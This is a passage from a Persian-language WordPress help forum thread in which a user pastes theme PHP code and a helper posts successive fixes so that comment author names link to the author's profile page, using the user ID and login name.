if ( !isset( $st_Settings['post_meta'] ) || !empty( $st_Settings['post_meta'] ) && $st_Settings['post_meta'] == 'yes' ) {

/*-------------------------------------------
4.10.1 - Post format
-------------------------------------------*/
if ( $format == true && function_exists( 'st_kit' ) ) {
if ( $st_['format'] != 'standard' ) {
$st_['format_label'] = $st_Options['global']['post-formats'][$st_['format']]['label'];
echo '<span class="ico16 ico16-' . $st_['format'] . '"><a href="' . get_post_format_link( $st_['format'] ) . '">' . $st_['format_label'] . '</a></span>';
}
}

/*-------------------------------------------
4.10.2 - Date
-------------------------------------------*/
if ( $date == true ) {
echo '<span class="ico16 ico16-calendar">';

if ( !empty( $st_Settings['nice_time'] ) && $st_Settings['nice_time'] == 'yes' && function_exists( 'st_niceTime' ) ) {
$st_['date'] = st_niceTime( $post->post_date_gmt ); }

else {
$st_['date'] = get_the_time( get_option('date_format'), $post->ID ); }

if ( is_single() ) {
echo $st_['date']; }
else {
echo '<a href="' . get_permalink() . '">' . $st_['date'] . '</a>'; }

echo '</span>';
}

/*-------------------------------------------
4.10.3 - Comments
-------------------------------------------*/
if ( $comments == true ) {
if ( !empty( $st_Settings['post_comments'] ) && $st_Settings['post_comments'] == 'yes' && comments_open() && get_comments_number() != 0 ) { ?>
<span class="ico16 ico16-comment-2"><?php
if ( $comments === true ) {
comments_popup_link( __( 'Leave a reply', 'strictthemes' ), __( '1 Comment', 'strictthemes' ), __( '% Comments', 'strictthemes' ), '', '' ); }
else {
comments_popup_link( '0', '1', '%', '', '' ); } ?>
</span><?php
}
}

/*-------------------------------------------
4.10.4/5 - Category & Tags
-------------------------------------------*/
if ( $post->post_type != 'page' ) {
// If project
if ( get_post_type() == $st_['st_post'] ){

if ( $category == true && $st_['posted_in'] = st_wp_get_post_terms( $post->ID, $st_['st_category'] ) ) {
echo '<span class="ico16 ico16-folder">' . $st_['posted_in'] . '</span>'; }

if ( $tags == true && $st_['tagged_by'] = st_wp_get_post_terms( $post->ID, $st_['st_tag'] ) ) {
echo '<span class="ico16 ico16-tag">' . $st_['tagged_by'] . '</span>'; }

}

// If post
else {
if ( $category == true ) { ?>
<span class="ico16 ico16-folder"><?php the_category(', ') ?></span><?php }
if ( $tags == true ) {
the_tags('<span class="ico16 ico16-tag">', ', ', '</span>'); }

}
}

/*-------------------------------------------
4.10.6 - Views
-------------------------------------------*/
if ( $views == true ) {
if ( !empty( $st_Settings['post_views'] ) && $st_Settings['post_views'] == 'yes' && function_exists( 'st_getPostViews' ) ) {
echo '<span class="ico16 ico16-views">' . st_getPostViews( $post->ID ) . '</span>'; }
}

/*-------------------------------------------
4.10.7 - Permalink
-------------------------------------------*/
if ( $permalink == true ) { ?>
<span class="ico16 ico16-link"><a href="<?php the_permalink(); ?>"><?php echo $permalink === true ? get_permalink() : $permalink; ?></a></span><?php }

}

?>

</div><!-- .meta --><?php
}
/*-------------------------------------------
4.11 - Fallback theme notice
-------------------------------------------*/
function st_fallback_theme_notice() {
global
$st_; ?>

<div class="updated">
<p>
<?php echo !empty($st_['fallback_theme_notice']) ? $st_['fallback_theme_notice'] : '' ?>
</p>
</div><?php
}

/*-------------------------------------------
4.12 - Alternative width of sidebar
-------------------------------------------*/
function st_sidebar_width_alt( $classes ) {
global
$st_Settings,
$content_width;
if ( !empty( $st_Settings['sidebar-alt'] ) && $st_Settings['sidebar-alt'] == 'yes' ) {

$content_width = 629;

$classes[] = 'sidebar-width-alt';
return $classes;

}
else {

return $classes;

}
}
add_filter( 'body_class', 'st_sidebar_width_alt' );

?>

فایل comments.php داخل فولدر includes


<?php if ( !defined( 'ABSPATH' ) ) exit;
if ( !function_exists( 'st_comment' ) ) {

function st_comment( $comment, $args, $depth ) {

$GLOBALS['comment'] = $comment;

switch ( $comment->comment_type ) :
case 'comment' :

global
$st_Settings ?>
<li id="comment-<?php comment_ID(); ?>" class="comment">

<?php
$avatar_size = '0' != $comment->comment_parent ? 50 : 75;
$comment_author = get_the_author_meta( 'user_email' ) == $comment->comment_author_email ? ' bypostauthor' : '';
$comment_level = '0' == $comment->comment_parent ? ' class="comment-holder comment-top-level' . $comment_author . '"' : ' class="comment-holder comment-low-level' . $comment_author . '"';


$out = '<div' . $comment_level . '>';


// Gravatar
$out .= '<div class="avatar-box">' . get_avatar( $comment, $avatar_size ) . '</div>';


$out .= '<div class="comment-box">';
// Author name
$out .= '<div class="comment-author" id="author-' . get_comment_ID() . '">' . get_comment_author_link() . '</div>';


// Date
$out .= '<div class="comment-date">';
$out .= get_comment_date();


$out .= '</div>';


// Comment
$out .= wpautop( get_comment_text() );


if ( comments_open() ) {

// Reply/Cancel links
$out .=
'<span class="reply non-selectable">' .

'<a title="' . get_comment_ID() . '" class="quick-reply" href="' . get_permalink() . '?replytocom=' . get_comment_ID() . '#respond">' . __( 'Reply', 'strictthemes' ) . '</a>' .
'<a class="quick-reply-cancel none" href="#">' . __( 'Cancel', 'strictthemes' ) . '</a>' .

'</span>';

}


// Edit link
if ( current_user_can('manage_options') ) {
$out .= ' - <a href="' . get_edit_comment_link() . '">' . __( 'Edit', 'strictthemes' ) . '</a>'; }


// Pre-moderation
if ( $comment->comment_approved == '0' ) {
$out .= '<p><em class="comment-awaiting-moderation">' . __( 'Your comment is awaiting moderation.', 'strictthemes' ) . '</em></p>'; }


$out .= '<div class="quick-holder" id="quick-holder-' . get_comment_ID() . '"></div></div><div class="clear"><!-- --></div>'; // .comment-box


$out .= '</div>'; // .$comment_level


$out .= '<div class="clear"><!-- --></div>';


echo $out;

break;

endswitch;

}

}
?>

لینک به ارسال
  • 3 هفته بعد...

تا جایی که بررسی کردم این خط هستش


// Author name
$out .= '<div class="comment-author" id="author-' . get_comment_ID() . '">' . get_comment_author_link() . '</div>';

اما نمیدونم چی باید بزارم جاش تا به پروفایل بره... چند کد توی گوگل پیدا کردم که نحوه جاگذاریش رو نمیدونم..

لینک به ارسال

عذر میخوام ، آپدیت تاپیک برام توی خبرنامه ارسال نشده...

قبلاً توی یکی از تاپیک ها آموزش داده بودم که چجوری از روی user id بفهمیم که نویسنده دیدگاه عضو شده یا نه.

جهت اینکه یه چیز جدید آموزش داده باشم در صورتی که شما در سایت شما نام کاربری چاپ میشه در دیدگاه ها (مثل admin) میتونید از تابع زیر استفاده کنید:

username_exists

توضیحات بیشتر:

http://codex.wordpress.org/Function_Reference/username_exists

امّا چون کد بالا برخی جاها به درد نمیخوره آموزش استفاده از user id در لینک زیر هست:

لینک به ارسال

ممنون از وقتی که میزارید.

اما من سردر نیاوردم لینک هایی که گفتید رو دیدم.

اما دقیقا چیو باید عوض کنم ... چند تا چیزو جایگزین اون خط کردم اما دیگه سایت بالا نمیاد.

شرمنده من php بلد نیستم.

لینک به ارسال

این رو جایگزین کنید با اونی که گفتین:


if($comment->user_id > 0 ) {
$out .= '<div class="comment-author" id="author-' . get_comment_ID() . '">' . '<a href="' . get_bloginfo('url') . '/author/' . get_comment_author( get_comment_ID() ) . '">' . get_comment_author( get_comment_ID() ) . '</a>' . '</div>';
} else {
$out .= '<div class="comment-author" id="author-' . get_comment_ID() . '">' . get_comment_author_link() . '</div>';
}

یه روش دیگه اش هم توی این لینک گفته:

https://wordpress.org/support/topic/redirecting-comment_author_link-to-author-profile

لینک به ارسال

سلام خیلی ممنون.

این کار کرد به خوبی...

ولی یک مشکلی که هستش اینه که اگه کسی نام نمایشی خودش رو تغییر بده دیگه 404 میشه و لینک میشه به نام نمایشیش ! در صورتی که پروفایل کاربر بر اساس نام کاربریش هستش.

این مشکل با یوزر خودم پیش اومد که مجبور شدم اسم نمایشی رو خود پروفایل بزارم. و تمام کامنت های با نام نمایشی رو به نام کاربری تبدیل کنم...

راهش اینه که کلا نام نمایشی رو غیر فعال کنم... اما راه بهتری نیست ؟

کد ویرایش شده شما (چون از افزونه پروفایل استفاده کردم ادرسش تغییر کرده)


if($comment->user_id > 0 ) {
$out .= '<div class="comment-author" id="author-' . get_comment_ID() . '">' . '<a href="' . get_bloginfo('url') . '/jmprofile/' . get_comment_author( get_comment_ID() ) . '">' . get_comment_author( get_comment_ID() ) . '</a>' . '</div>';
} else {
$out .= '<div class="comment-author" id="author-' . get_comment_ID() . '">' . get_comment_author_link() . '</div>';
}

لینک به ارسال

if($comment->user_id > 0 ) {
$out .= '<div class="comment-author" id="author-' . get_comment_ID() . '">' . '<a href="' . get_bloginfo('url') . '/jmprofile/' . get_comment_author( get_comment_ID() ) . '">' . get_the_author_meta('user_login', $comment->user_id) . '</a>' . '</div>';
} else {
$out .= '<div class="comment-author" id="author-' . get_comment_ID() . '">' . get_comment_author_link() . '</div>';
}

لینک به ارسال

ممنون.

اما دقیقا بر عکس شده الان

یعنی اگر نام نمایشی من 123 باشه و نام کاربریم admin توی نظرات به این صورت میشه

عنوان کامنت میشه نام کاربریم اما لینک میشه به پروفایل 123 !

لینک به ارسال
ممنون. اما دقیقا بر عکس شده الان یعنی اگر نام نمایشی من 123 باشه و نام کاربریم admin توی نظرات به این صورت میشه عنوان کامنت میشه نام کاربریم اما لینک میشه به پروفایل 123 !

آخ شرمنده ، دیروز عجلّه داشتم جا به جا نوشتمشون

if($comment->user_id > 0 ) {
$out .= '<div class="comment-author" id="author-' . get_comment_ID() . '">' . '<a href="' . get_bloginfo('url') . '/jmprofile/' . get_the_author_meta('user_login', $comment->user_id) . '">' . get_comment_author( get_comment_ID() ) . '</a>' . '</div>';
} else {
$out .= '<div class="comment-author" id="author-' . get_comment_ID() . '">' . get_comment_author_link() . '</div>';
}

لینک به ارسال

خیلی ممنون. به خوبی کار کرد.

فقط یک مورد دیگه هستش. نمیدونم بهتره تاپیک جدید ایجاد بشه یا خیر ...

اگه بخوام مشخصات کاربر زیبا اواتارش بیاد باید چیکار کنم ؟

برای مثال نشون بدیم تعداد نظرات کاربر،سمت کاربر،نمایش تعداد پست،تاریخ عضویتش ؟

فکر میکنم نیاز به افزونه هستش... مثلا اگه من افزونه پرمیوم userpro رو نصب کنم چطور باید اینارو نشون بدم؟

این سوال رو میپرسم چون از افزونه gd star rating استفاده میکنم و این افزونه برای قسمت نظرات هم امتیاز دهی داره اما توی قالب فعلی من اصلا امتیاز نشون داده نمیشه و فقط زیر نوشته ها میاد (فکر میکنم چون فایل php کامنت برای قالب فعلی رو نتونسته پیدا کنه...)

چطور باید ستاره های مربوط به افزونه gd-star-rating رو توی کامنت ها فعال کنم ؟ و همچنین مشخصات کاربر بیاد زیر اواتار ...

ممنون.

لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...